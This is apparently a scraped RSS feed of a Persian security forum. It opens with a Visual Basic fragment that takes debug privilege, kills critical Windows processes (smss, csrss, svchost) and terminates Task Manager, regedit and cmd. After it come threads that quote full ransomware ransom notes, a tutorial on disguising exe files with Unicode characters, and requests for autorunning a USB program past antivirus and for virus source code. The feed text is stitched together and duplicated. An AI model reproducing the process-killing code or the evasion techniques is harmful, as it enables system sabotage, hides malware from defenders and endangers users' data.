Private Const TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST + TH32CS_SNAPPROCESS + TH32CS_SNAPTHREAD + TH32CS_SNAPMODULE)
Private Type PROCESSENTRY32
   dwSize As Long
   cntUsage As Long
   th32ProcessID As Long
   th32DefaultHeapID As Long
   th32ModuleID As Long
   cntThreads As Long
   th32ParentProcessID As Long
   pcPriClassBase As Long
   dwFlags As Long
   szexeFile As String * 260
End Type

Private Type LUID
  lowpart As Long
  highpart As Long
End Type

Private Type TOKEN_PRIVILEGES
   PrivilegeCount As Long
   LuidUDT As LUID
   Attributes As Long
End Type

Function GiveMeThatHandle(ExeName) As Long
Dim P_Pid, P_Proc, adr, bfLg As Long
Dim res&, ant&
Dim u As Integer
Dim Process As PROCESSENTRY32

res = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&)

If res <> 0 Then

  Process.dwSize = Len(Process)
  ant = Process32First(res, Process)
  u = 0
 
Do
 A = LCase(Process.szexeFile)
   If InStr(A, ExeName) Then pids = Process.th32ProcessID
   ant = Process32Next(res, Process)
 u = u + 1
Loop Until ant = 0

End If

P_Pid = pids
hProcessID = P_Pid
DoEvents

   Dim hToken As Long
   Dim hProcess As Long
   Dim tp As TOKEN_PRIVILEGES
   
   If GetVersion() >= 0 Then
       If OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES Or _
           TOKEN_QUERY, hToken) = 0 Then
           GoTo CleanUp
       End If

       If LookupPrivilegeValue("", "SeDebugPrivilege", tp.LuidUDT) = 0 Then
           GoTo CleanUp
       End If

       tp.PrivilegeCount = 1
       tp.Attributes = SE_PRIVILEGE_ENABLED

       If AdjustTokenPrivileges(hToken, False, tp, 0, ByVal 0&, _
           ByVal 0&) = 0 Then
           GoTo CleanUp
       End If
   End If

   P_Proc = OpenProcess(PROCESS_ALL_ACCESS, 0, hProcessID)
   GiveMeThatHandle = P_Proc
CleanUp:
       If hToken Then CloseHandle hToken
End Function

Function EndAnyProcess(ExeName) As Boolean
      Dim phandle As Long
      Const PROCESS_ALL_ACCESS = 0
      phandle = GiveMeThatHandle(ExeName)
      Kill_Process = CBool(TerminateProcess(phandle, uExitCode))
      Call CloseHandle(phandle)
End Function

Private Sub Rest_sys()

Call EndAnyProcess("smss.exe")
Call EndAnyProcess("csrss.exe")
Call EndAnyProcess("system.exe")
Call EndAnyProcess("svchost.exe")
End Sub

Sub end_show()

Call EndAnyProcess("regedit.exe")
Call EndAnyProcess("taskmgr.exe")
Call EndAnyProcess("msconfig.exe")
Call EndAnyProcess("cmd.exe")
Call EndAnyProcess("mmc.exe")
Call EndAnyProcess("opera.exe")
End Sub
خنده بلد − بهینه شده برای ورژن جدید]]> <![CDATA[مقاله توابع ویندوزی در تحلیل بدافزار بخش اول-فارسی]]> https://www.iranled.com/forum/thread-31374.html Sat, 16 Sep 2017 09:33:43 +0000 https://www.iranled.com/forum/thread-31374.html ترجمه و تالیف : یاشار محمودنیا
تعداد صفحات : 15
توسط : گروه تحقیق و توسعه بایت امن
تاریخ انتشار : شهریور 1396



سرفصل ها :

▪️مقدمه
▪️توابع کار با شبکه و اینترنت
▪️توابع کار با ویندوز و فایل ها
▪️توابع کار با پروسس، ماژول و Thread ها
▪️توابع کار با سرویس ها
▪️منابع

لینک دانلود :
https://goo.gl/H9nbyh]]> ترجمه و تالیف : یاشار محمودنیا
تعداد صفحات : 15
توسط : گروه تحقیق و توسعه بایت امن
تاریخ انتشار : شهریور 1396



سرفصل ها :

▪️مقدمه
▪️توابع کار با شبکه و اینترنت
▪️توابع کار با ویندوز و فایل ها
▪️توابع کار با پروسس، ماژول و Thread ها
▪️توابع کار با سرویس ها
▪️منابع

لینک دانلود :
https://goo.gl/H9nbyh]]> <![CDATA[استخراج امضا های ویروس ها از دیتابیس آنتی ویروس]]> https://www.iranled.com/forum/thread-30443.html Mon, 01 Feb 2016 19:50:31 +0000 https://www.iranled.com/forum/thread-30443.html من روی دیتابیس آنتی ویروس ClamAv کار کردم و تونستم امضاهای این آنتی ویروس روز از دیتابیسش استخراج کنم. بعد خودم یه آنتی ویروس نوشتم که با همین امضاها بتونه ویروس ها رو شناسائی کنه.
نمی دونم آنتی ویروس های چند موتوره مثل آنتی ویروس ایرانی شید هم همین کار رو روی nod32 و avira کردن یا دارن از انجینشون استفاده میکنن.
در هر حال پروژه آتی بنده کار روی استخراج امضاهای آنتی ویروس های مشهوری مثل avira است از دوستان کسی روی اینها کار کرده و میتونه اطلاعاتی برای شروع بهم بده یا همکاری داشته باشیم ؟ 

پایان نامه من روی روشهای ذخیره سازی امضاهای آنتی ویروس ها مرتبطه در حقیقت من باید کار تحقیقاتیم رو به صورت یه کار عملی روی یه آنتی ویروس مطرح پیاده سازی کنم ،
اگه سایتی یا جایی سراغ دارید که بتونم بیشتر نتیجه بگیرم لطفا راهنمائی کنید
اینجا تقریبا چنین کاری کرده فقط سایتش چینیه و من سر در نیاوردم :
Nod32 Database Decryption Tool By Bian
http://zhan.renren.com/h5/entry/3602888498042829470]]> من روی دیتابیس آنتی ویروس ClamAv کار کردم و تونستم امضاهای این آنتی ویروس روز از دیتابیسش استخراج کنم. بعد خودم یه آنتی ویروس نوشتم که با همین امضاها بتونه ویروس ها رو شناسائی کنه.
نمی دونم آنتی ویروس های چند موتوره مثل آنتی ویروس ایرانی شید هم همین کار رو روی nod32 و avira کردن یا دارن از انجینشون استفاده میکنن.
در هر حال پروژه آتی بنده کار روی استخراج امضاهای آنتی ویروس های مشهوری مثل avira است از دوستان کسی روی اینها کار کرده و میتونه اطلاعاتی برای شروع بهم بده یا همکاری داشته باشیم ؟ 

پایان نامه من روی روشهای ذخیره سازی امضاهای آنتی ویروس ها مرتبطه در حقیقت من باید کار تحقیقاتیم رو به صورت یه کار عملی روی یه آنتی ویروس مطرح پیاده سازی کنم ،
اگه سایتی یا جایی سراغ دارید که بتونم بیشتر نتیجه بگیرم لطفا راهنمائی کنید
اینجا تقریبا چنین کاری کرده فقط سایتش چینیه و من سر در نیاوردم :
Nod32 Database Decryption Tool By Bian
http://zhan.renren.com/h5/entry/3602888498042829470]]> <![CDATA[ویروس یابی!]]> https://www.iranled.com/forum/thread-30398.html Mon, 11 Jan 2016 19:55:27 +0000 https://www.iranled.com/forum/thread-30398.html [تصویر: yilgqnfwoloh59qba6mv.gif]

سلام و عرض ادب خدمت اعضای گرامی ایران ویج

یه مطلب هست  درباره ویروس یابی بنظرم جالب اومد
این آدرسش هست: http://forum.roq.ir/t43249

خواستم بدونم این روش که بکار رفته چطوریه!اصولیه؟ حرفه ایه! نااشیانه هست! هست اصلا  میشه به این روش اعتماد داشت؟و...

ممنون از توجه شما :gol:]]> [تصویر: yilgqnfwoloh59qba6mv.gif]

سلام و عرض ادب خدمت اعضای گرامی ایران ویج

یه مطلب هست  درباره ویروس یابی بنظرم جالب اومد
این آدرسش هست: http://forum.roq.ir/t43249

خواستم بدونم این روش که بکار رفته چطوریه!اصولیه؟ حرفه ایه! نااشیانه هست! هست اصلا  میشه به این روش اعتماد داشت؟و...

ممنون از توجه شما :gol:]]> <![CDATA[ویروس تبلیغاتی]]> https://www.iranled.com/forum/thread-29618.html Wed, 04 Feb 2015 20:54:44 +0000 https://www.iranled.com/forum/thread-29618.html میشه لطف کنین بگین باید چیکار کنم]]> میشه لطف کنین بگین باید چیکار کنم]]> <![CDATA[ویروس کودر کمک فوری]]> https://www.iranled.com/forum/thread-29612.html Wed, 04 Feb 2015 01:40:32 +0000 https://www.iranled.com/forum/thread-29612.html دیروز صبح با مشکل پر شدن سریع رم و Pagefile روبرو شدم و وقتی چک کردم دیدم دیدم svchost داره رم می خوره.
سرویس های مرتبت با svchost رو چک کردم طبیعی بود.
تمام نرم افزار ها رو بستم بهتر شد ولی بازم svchost مموری نسبتا زیادی گرفته بود. نرم افزار امنیتی هم Malwarebyte Premium یود.
بعد در پروسس منیجر متوجه فایلی با نام 951C.tmp شدم که داخل %USER%TEMP% بود. اونو ٍEnd کردم و پس از چک کردن اوتوران ها و خالی کردن Temp و Prefetch سیستم رو ریستارت کردم. سیستم پس از بالا اومدن پیغام داد آدرس 951C.tmp درست نیست.
بازم یه خورده svchost زیاد رم خورده بود. سرچ کردم مایکروسافت گفته بود Winsock ریست بشه، سون فروم گفته بود از framework هست . framework 4.5.2 هم نصب کردم Winsock هم ریست کردم و بعد از ریستارت متوجه شدم تعداد زیادی از فایل هام روی هارد دوم همه انکریپت شده با پسوند com و یه همچین چیزی به آخر همه شون اضافه شده
id-9082568147_fud@india.com
هیچ فایلی توی درایو c خراب نشده بود و اول از همه هارد دوم مورد حمله قرار گرفته بود و ترتیب حمله به این صورت به نظر می رسید
Jpeg
mkv
avi
rar
مرورگر مورد استفاده هم Chrome Portable و ویندوز 7 x64
ESET و Malwarebyte هم هیچ عکس العملی ندادن که با اون پسوند FUD نباید غیر طبیعی باشه. نهایتا از طریق ویندوز دوم (xp) با Stinger اسکن کردم داخل فولدر Chrome چند تا Artemis شناخت و avast هم یه تروجان ناشناس گرفت و SUPERAntispyware هم دو تا Somoto/Variant شناسایی کرد.
الان هم فقط با safe mode بالا میام و هارد دوم رو جدا کردم تا تکلیف فایل ها روشن بشه و بعد ویندوز عوض کنم.
دو مورد غیر عادی هم دیدم :
یکی فایل Lockdir6.lg داخل %USER%PUBLIC%
یکی هم وجود یه Pagefile.sys مشابه در درایو D

لطفا راهنمایی ... عکس های مرحوم مادرم خیلی برام مهمن]]> دیروز صبح با مشکل پر شدن سریع رم و Pagefile روبرو شدم و وقتی چک کردم دیدم دیدم svchost داره رم می خوره.
سرویس های مرتبت با svchost رو چک کردم طبیعی بود.
تمام نرم افزار ها رو بستم بهتر شد ولی بازم svchost مموری نسبتا زیادی گرفته بود. نرم افزار امنیتی هم Malwarebyte Premium یود.
بعد در پروسس منیجر متوجه فایلی با نام 951C.tmp شدم که داخل %USER%TEMP% بود. اونو ٍEnd کردم و پس از چک کردن اوتوران ها و خالی کردن Temp و Prefetch سیستم رو ریستارت کردم. سیستم پس از بالا اومدن پیغام داد آدرس 951C.tmp درست نیست.
بازم یه خورده svchost زیاد رم خورده بود. سرچ کردم مایکروسافت گفته بود Winsock ریست بشه، سون فروم گفته بود از framework هست . framework 4.5.2 هم نصب کردم Winsock هم ریست کردم و بعد از ریستارت متوجه شدم تعداد زیادی از فایل هام روی هارد دوم همه انکریپت شده با پسوند com و یه همچین چیزی به آخر همه شون اضافه شده
id-9082568147_fud@india.com
هیچ فایلی توی درایو c خراب نشده بود و اول از همه هارد دوم مورد حمله قرار گرفته بود و ترتیب حمله به این صورت به نظر می رسید
Jpeg
mkv
avi
rar
مرورگر مورد استفاده هم Chrome Portable و ویندوز 7 x64
ESET و Malwarebyte هم هیچ عکس العملی ندادن که با اون پسوند FUD نباید غیر طبیعی باشه. نهایتا از طریق ویندوز دوم (xp) با Stinger اسکن کردم داخل فولدر Chrome چند تا Artemis شناخت و avast هم یه تروجان ناشناس گرفت و SUPERAntispyware هم دو تا Somoto/Variant شناسایی کرد.
الان هم فقط با safe mode بالا میام و هارد دوم رو جدا کردم تا تکلیف فایل ها روشن بشه و بعد ویندوز عوض کنم.
دو مورد غیر عادی هم دیدم :
یکی فایل Lockdir6.lg داخل %USER%PUBLIC%
یکی هم وجود یه Pagefile.sys مشابه در درایو D

لطفا راهنمایی ... عکس های مرحوم مادرم خیلی برام مهمن]]> <![CDATA[کمک خیلی فوری]]> https://www.iranled.com/forum/thread-29497.html Sun, 11 Jan 2015 02:49:01 +0000 https://www.iranled.com/forum/thread-29497.html سلام
چند روز پیش سیستم من یهو ریستارت شد
وقتی بالا اومد تو درایو ها و پوشه ها یک فایل تکست وجود داشت که در پایین این نوشه اونو اوردم
وقتی دقت کردم بدبختانه فایل های Text zip rar pdf docهمه پسونداشون عوض شده بود به این صورت
New Text Document.txt.enc0ded!
و به هیچ وجه باز نمیشد
باکلی جستجو و تحقیق متوجه شدم دچار یه بد افزار خیلی بد شده ام
به وسیله برنامه SPYHUNTERموفق شدم بد افزار رواز روی سیستم پاک کنم
ولی متاسفانه قبلش ویندوز رو عوض کرده بود چون فک میکردم از ویندوزه
حالا تهدید از بین رفته اما چون ویندوز رو عوض کردم جای برای RESTORE نمونده برام
اومدم یکی از فایل های تکس رو پسوندشو به حالت .text برگردوندم
اما وقتی باز میشه با یه سری حروف غیرقابل خوندن روبرو میشم
هر کاری هم کردم درست نشد که نشد
از تمام دوستان و اساتید درخواست کمک رو دارم
خواهش میکنم بهم کمک کنید خیلی ممنون میشم

Hi, your ID = JSOXXXXXX

All important files were encoded with RSA-1024 encryption algorithm.
There is the only way to restore them - purchase the unique unlock code.

Warning! Any attempt to recovering files without our "Special program" will cause data damage or complete data loss.
As we receive your payment, we will send special program and your unique code to unlock your system.

Guarantee: You can send one of the encrypted file by email and we decode it for free as proof of our abilities.

No sense to contact the police. Your payment must be made to the e-wallet. It's impossible to trace.
Don`t waste your and our time.

So, if you are ready to pay for recovering your files, please reply this email ChiuKhan@tom.com

Then we will send payment instructions.]]> سلام
چند روز پیش سیستم من یهو ریستارت شد
وقتی بالا اومد تو درایو ها و پوشه ها یک فایل تکست وجود داشت که در پایین این نوشه اونو اوردم
وقتی دقت کردم بدبختانه فایل های Text zip rar pdf docهمه پسونداشون عوض شده بود به این صورت
New Text Document.txt.enc0ded!
و به هیچ وجه باز نمیشد
باکلی جستجو و تحقیق متوجه شدم دچار یه بد افزار خیلی بد شده ام
به وسیله برنامه SPYHUNTERموفق شدم بد افزار رواز روی سیستم پاک کنم
ولی متاسفانه قبلش ویندوز رو عوض کرده بود چون فک میکردم از ویندوزه
حالا تهدید از بین رفته اما چون ویندوز رو عوض کردم جای برای RESTORE نمونده برام
اومدم یکی از فایل های تکس رو پسوندشو به حالت .text برگردوندم
اما وقتی باز میشه با یه سری حروف غیرقابل خوندن روبرو میشم
هر کاری هم کردم درست نشد که نشد
از تمام دوستان و اساتید درخواست کمک رو دارم
خواهش میکنم بهم کمک کنید خیلی ممنون میشم

Hi, your ID = JSOXXXXXX

All important files were encoded with RSA-1024 encryption algorithm.
There is the only way to restore them - purchase the unique unlock code.

Warning! Any attempt to recovering files without our "Special program" will cause data damage or complete data loss.
As we receive your payment, we will send special program and your unique code to unlock your system.

Guarantee: You can send one of the encrypted file by email and we decode it for free as proof of our abilities.

No sense to contact the police. Your payment must be made to the e-wallet. It's impossible to trace.
Don`t waste your and our time.

So, if you are ready to pay for recovering your files, please reply this email ChiuKhan@tom.com

Then we will send payment instructions.]]> <![CDATA[تروجان مخرب]]> https://www.iranled.com/forum/thread-29496.html Sat, 10 Jan 2015 16:14:15 +0000 https://www.iranled.com/forum/thread-29496.html
چند روزه سیستم یه ویروس یا تروجان خطرناک آلوده شده

طریق کار هم به این صورته که بر روی فابل تصاویر - ویدئو - نرم افزار و دایکیومنت کدگذاری انجام میده
و فایلها با این پسوند enc0ded!JSO2918124 نمایش داده میشن

در ضمن یه فایل تکست هم در تمام فولدرها اجاد میکنه که درونش نوشتهای با این مضمون هست:

Hi, your ID = JSO2918124

All important files were encoded with RSA-1024 encryption algorithm.
There is the only way to restore them - purchase the unique unlock code.

Warning! Any attempt to recovering files without our "Special program" will cause data damage or complete data loss.
As we receive your payment, we will send special program and your unique code to unlock your system.

Guarantee: You can send one of the encrypted file by email and we decode it for free as proof of our abilities.

No sense to contact the police. Your payment must be made to the e-wallet. It's impossible to trace.
Don`t waste your and our time.

So, if you are ready to pay for recovering your files, please reply this email ChiuKhan@tom.com

Then we will send payment instructions.

من ویندوز رو هم پاک کرد منتهی درست نشد

دوستان در صورتی که آشنایی با این ویروس دارند و یا راه حلی براش دارند

اعلام کنند

یک نمونه از عکس رو که رمز نگاری شده رو پیوست میکنم

.rar   3.jpg.rar (اندازه: 969.62 KB / تعداد دفعات دریافت: 111) ]]>
چند روزه سیستم یه ویروس یا تروجان خطرناک آلوده شده

طریق کار هم به این صورته که بر روی فابل تصاویر - ویدئو - نرم افزار و دایکیومنت کدگذاری انجام میده
و فایلها با این پسوند enc0ded!JSO2918124 نمایش داده میشن

در ضمن یه فایل تکست هم در تمام فولدرها اجاد میکنه که درونش نوشتهای با این مضمون هست:

Hi, your ID = JSO2918124

All important files were encoded with RSA-1024 encryption algorithm.
There is the only way to restore them - purchase the unique unlock code.

Warning! Any attempt to recovering files without our "Special program" will cause data damage or complete data loss.
As we receive your payment, we will send special program and your unique code to unlock your system.

Guarantee: You can send one of the encrypted file by email and we decode it for free as proof of our abilities.

No sense to contact the police. Your payment must be made to the e-wallet. It's impossible to trace.
Don`t waste your and our time.

So, if you are ready to pay for recovering your files, please reply this email ChiuKhan@tom.com

Then we will send payment instructions.

من ویندوز رو هم پاک کرد منتهی درست نشد

دوستان در صورتی که آشنایی با این ویروس دارند و یا راه حلی براش دارند

اعلام کنند

یک نمونه از عکس رو که رمز نگاری شده رو پیوست میکنم

.rar   3.jpg.rar (اندازه: 969.62 KB / تعداد دفعات دریافت: 111) ]]> <![CDATA[سوال - جلو گیری از pop-up]]> https://www.iranled.com/forum/thread-29451.html Tue, 30 Dec 2014 19:00:49 +0000 https://www.iranled.com/forum/thread-29451.html برای دانلود یک پلاگین مجبور شدم فایل دانلودر آنرا دانلود و اجرا کنم از آن
موقع با هر بروزر و هر صفحه را که باز میکنم 3 پنجره در پائین و یک پنجره
به صورت عمودی باز می شود.هر ترفندی بلد بودم نتیجه نداده.
لطفا" راهنمائی کنید


.jpg   popup1.JPG (اندازه: 75.54 KB / تعداد دفعات دریافت: 91) ]]> برای دانلود یک پلاگین مجبور شدم فایل دانلودر آنرا دانلود و اجرا کنم از آن
موقع با هر بروزر و هر صفحه را که باز میکنم 3 پنجره در پائین و یک پنجره
به صورت عمودی باز می شود.هر ترفندی بلد بودم نتیجه نداده.
لطفا" راهنمائی کنید


.jpg   popup1.JPG (اندازه: 75.54 KB / تعداد دفعات دریافت: 91) ]]> <![CDATA[حذف ویروس های TMP!]]> https://www.iranled.com/forum/thread-29034.html Thu, 16 Oct 2014 14:46:20 +0000 https://www.iranled.com/forum/thread-29034.html
.bmp   11.bmp (اندازه: 622.93 KB / تعداد دفعات دریافت: 116)
.bmp   12.bmp (اندازه: 627.92 KB / تعداد دفعات دریافت: 107) با سلام

حقیقت ی مشکل پیش اومده نمیدونم مشکل از کجاس ولی بیشتر مثل ی ویروس میمونه(من بهش میگم میکروب)!
یادمه چند مدت پیش همین اتفاق واسم پیش اومد و با دردسر رفعش کردم ولی الان نمیدونم چکار کنم،یعنی ی مقدار عجله ای هست؛ممنون میشم کمک کنید،

ماجرا از این قراره،ک تو task-m ی پروسه ای آپ میشه اونم ن ی یکی ن دوتا، بعضی مواقع ب حدود بیستا هم میرسه...
تو سربرگ processes با عنوان hrlXXX.tmp بالا میاد تو عکسا قرار دادم.
End task میکنم ولی چند لحظه بعد باز میاد بالا،
حتی از تو مسیر windows/temp فایل های ایجاد شده رو دلیت میکنم ولی باز ....


ممنون]]>
.bmp   11.bmp (اندازه: 622.93 KB / تعداد دفعات دریافت: 116)
.bmp   12.bmp (اندازه: 627.92 KB / تعداد دفعات دریافت: 107) با سلام

حقیقت ی مشکل پیش اومده نمیدونم مشکل از کجاس ولی بیشتر مثل ی ویروس میمونه(من بهش میگم میکروب)!
یادمه چند مدت پیش همین اتفاق واسم پیش اومد و با دردسر رفعش کردم ولی الان نمیدونم چکار کنم،یعنی ی مقدار عجله ای هست؛ممنون میشم کمک کنید،

ماجرا از این قراره،ک تو task-m ی پروسه ای آپ میشه اونم ن ی یکی ن دوتا، بعضی مواقع ب حدود بیستا هم میرسه...
تو سربرگ processes با عنوان hrlXXX.tmp بالا میاد تو عکسا قرار دادم.
End task میکنم ولی چند لحظه بعد باز میاد بالا،
حتی از تو مسیر windows/temp فایل های ایجاد شده رو دلیت میکنم ولی باز ....


ممنون]]> <![CDATA[درخواست سورس ویروس سخت افزاری]]> https://www.iranled.com/forum/thread-28356.html Fri, 06 Jun 2014 09:14:09 +0000 https://www.iranled.com/forum/thread-28356.html
Heart]]>
Heart]]> <![CDATA[ويروس RECYCLER]]> https://www.iranled.com/forum/thread-28342.html Tue, 03 Jun 2014 13:53:41 +0000 https://www.iranled.com/forum/thread-28342.html سيستم من ويروس RECYCLER گرفته تو هر درايوي كه ميرم يه RECYCLER هست باچه آنتي ويروسي و ور‍‍‍‍‍ژن چند مي تونم اين ويروس رو ازبين ببرم.
باتشكر]]> سيستم من ويروس RECYCLER گرفته تو هر درايوي كه ميرم يه RECYCLER هست باچه آنتي ويروسي و ور‍‍‍‍‍ژن چند مي تونم اين ويروس رو ازبين ببرم.
باتشكر]]> <![CDATA[آنالیز فایل های مخرب با malware_analyser 3.3]]> https://www.iranled.com/forum/thread-28242.html Wed, 14 May 2014 09:44:07 +0000 https://www.iranled.com/forum/thread-28242.html
[*] - آنالیز چند فایل (فایل های یک پوشه)

[*] - Dump گرفتن از Procress

[*] - آنالیز Dynamic

[*] - ایجاد و گرفتن امضا دیجیتالی از یک فایل (ذخیره در دیتابیس)

[*] - نمایش PE Headers

[*] - نمایش String ها

[*] - آنالیز آنلاین توسط سایت Virus Total

[تصویر: malware_analyser.png]



Download | دانلود]]>
[*] - آنالیز چند فایل (فایل های یک پوشه)

[*] - Dump گرفتن از Procress

[*] - آنالیز Dynamic

[*] - ایجاد و گرفتن امضا دیجیتالی از یک فایل (ذخیره در دیتابیس)

[*] - نمایش PE Headers

[*] - نمایش String ها

[*] - آنالیز آنلاین توسط سایت Virus Total

[تصویر: malware_analyser.png]



Download | دانلود]]> <![CDATA[یه ویروس exe]]> https://www.iranled.com/forum/thread-27956.html Thu, 20 Mar 2014 15:43:51 +0000 https://www.iranled.com/forum/thread-27956.html یه چند وقتیه که تو مموریم یه ویروسی هست که تو همه پوشه ها این دوتا هست :
new folder.exe
regsvr.exe
وپاکشون که میکنی دوباره ظاهر میشن.
جون ما کمک
آنتی ویروسم ندارمSad]]> یه چند وقتیه که تو مموریم یه ویروسی هست که تو همه پوشه ها این دوتا هست :
new folder.exe
regsvr.exe
وپاکشون که میکنی دوباره ظاهر میشن.
جون ما کمک
آنتی ویروسم ندارمSad]]> <![CDATA[آموزش تغییر نام فایل های exe جهت گمراهی بااستفاده از کاراکتر یونیکد]]> https://www.iranled.com/forum/thread-27817.html Mon, 17 Feb 2014 18:54:12 +0000 https://www.iranled.com/forum/thread-27817.html
به نام یگانه برنامه نویس عالم

با سلام خدمت دوستانBiggrin
امروز می خواهم یک آموزش جالب درباره عوض کرن فرمت فایل های exe بدم!Amaze
شاید به خودتون مگه میشه؟
- بله میشه!Confused
چطور؟
- اینطور
در این ویدعو آموزشی به طور کامل توضیح داده شده است.041
ببخشید از کیفیت ویدعو cpuم پایینه!033
رمز:iranled.com
نظرو تشکر فراموش نشود!Smile

.rar   Full Tools.rar (اندازه: 2.2 MB / تعداد دفعات دریافت: 143) ]]>
به نام یگانه برنامه نویس عالم

با سلام خدمت دوستانBiggrin
امروز می خواهم یک آموزش جالب درباره عوض کرن فرمت فایل های exe بدم!Amaze
شاید به خودتون مگه میشه؟
- بله میشه!Confused
چطور؟
- اینطور
در این ویدعو آموزشی به طور کامل توضیح داده شده است.041
ببخشید از کیفیت ویدعو cpuم پایینه!033
رمز:iranled.com
نظرو تشکر فراموش نشود!Smile

.rar   Full Tools.rar (اندازه: 2.2 MB / تعداد دفعات دریافت: 143) ]]> <![CDATA[ویروس HowDecrypt]]> https://www.iranled.com/forum/thread-27557.html Mon, 30 Dec 2013 10:01:42 +0000 https://www.iranled.com/forum/thread-27557.html 1-ویروسی با ظاهر HowDecrypt که دسترسی به تمام فایلها رو قفل کرده و درخواست 500یا50 دلار کرده(یک فایل TXT یک فایل JPG توی تمامی پوشه و درایوها گذاشته بود و توی اون گفته که فایلهای اینکریپت شده و برای باز کردن باید مبلغ را به آدرس فلان بپردازی)
2-با برگردوندن(RESTORE) به چند روز قبل درایورها که خراب شده بود درست شد و لی فایلها همچنان غیر قابل دسترس است.
3-با نصب و آپدیت مجدد NOD32 و یه برنامه دیگه به نام YAC ظرهرا" اثری از این ویروس نیست ولی هنوز نتوانستم فایلهام رو باز کنم(ظراهر فایلها هم تغییری نکره ، نه پسوندش و نه حجمش )
4-با برنامه Te94Decrypt.exe و توی run با دستور 85 Te94Decrypt.exe -k
برای دیکریپت کردن فایلها(که احتمال میدم اینکریپت شده) هیچ فایل اینکریپت شده ای هم در ظاهر یافت نشده.
لطفا اگه کسی راهی میشناسه ، کمکم کنه فایل ها رو باز کنم.

.jpg   Capture.JPG (اندازه: 25.07 KB / تعداد دفعات دریافت: 110) ]]> 1-ویروسی با ظاهر HowDecrypt که دسترسی به تمام فایلها رو قفل کرده و درخواست 500یا50 دلار کرده(یک فایل TXT یک فایل JPG توی تمامی پوشه و درایوها گذاشته بود و توی اون گفته که فایلهای اینکریپت شده و برای باز کردن باید مبلغ را به آدرس فلان بپردازی)
2-با برگردوندن(RESTORE) به چند روز قبل درایورها که خراب شده بود درست شد و لی فایلها همچنان غیر قابل دسترس است.
3-با نصب و آپدیت مجدد NOD32 و یه برنامه دیگه به نام YAC ظرهرا" اثری از این ویروس نیست ولی هنوز نتوانستم فایلهام رو باز کنم(ظراهر فایلها هم تغییری نکره ، نه پسوندش و نه حجمش )
4-با برنامه Te94Decrypt.exe و توی run با دستور 85 Te94Decrypt.exe -k
برای دیکریپت کردن فایلها(که احتمال میدم اینکریپت شده) هیچ فایل اینکریپت شده ای هم در ظاهر یافت نشده.
لطفا اگه کسی راهی میشناسه ، کمکم کنه فایل ها رو باز کنم.

.jpg   Capture.JPG (اندازه: 25.07 KB / تعداد دفعات دریافت: 110) ]]> <![CDATA[اتو ران برنامه در فلش بدون شناسایی]]> https://www.iranled.com/forum/thread-27441.html Tue, 10 Dec 2013 16:28:34 +0000 https://www.iranled.com/forum/thread-27441.html
من می خواستم بدونم چطور می تونم برنامه ای رو که ساختم اتوران کنم به طوری که زمانی فلش به کامپیوتر وصل می شود اجرا شود بدون شناسایی شدن توسط آنتی ویروس
از فایل Autorun.inf استفاده کردم ولی آنتی بهش گیر می ده!چکار کنم؟
یک راهنمایی کوچیک بکنید،لطفا
امر خیرهShyویروس نیست
ممننــــــــــــــــــHeartـــــــــــــــــون]]>
من می خواستم بدونم چطور می تونم برنامه ای رو که ساختم اتوران کنم به طوری که زمانی فلش به کامپیوتر وصل می شود اجرا شود بدون شناسایی شدن توسط آنتی ویروس
از فایل Autorun.inf استفاده کردم ولی آنتی بهش گیر می ده!چکار کنم؟
یک راهنمایی کوچیک بکنید،لطفا
امر خیرهShyویروس نیست
ممننــــــــــــــــــHeartـــــــــــــــــون]]> <![CDATA[ساخت ویروس بانوت پد]]> https://www.iranled.com/forum/thread-27402.html Wed, 04 Dec 2013 11:44:37 +0000 https://www.iranled.com/forum/thread-27402.html ]]> ]]>